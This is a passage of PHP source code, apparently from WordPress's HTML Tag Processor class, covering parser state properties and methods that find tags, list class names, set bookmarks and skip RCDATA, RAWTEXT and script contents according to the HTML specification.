	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
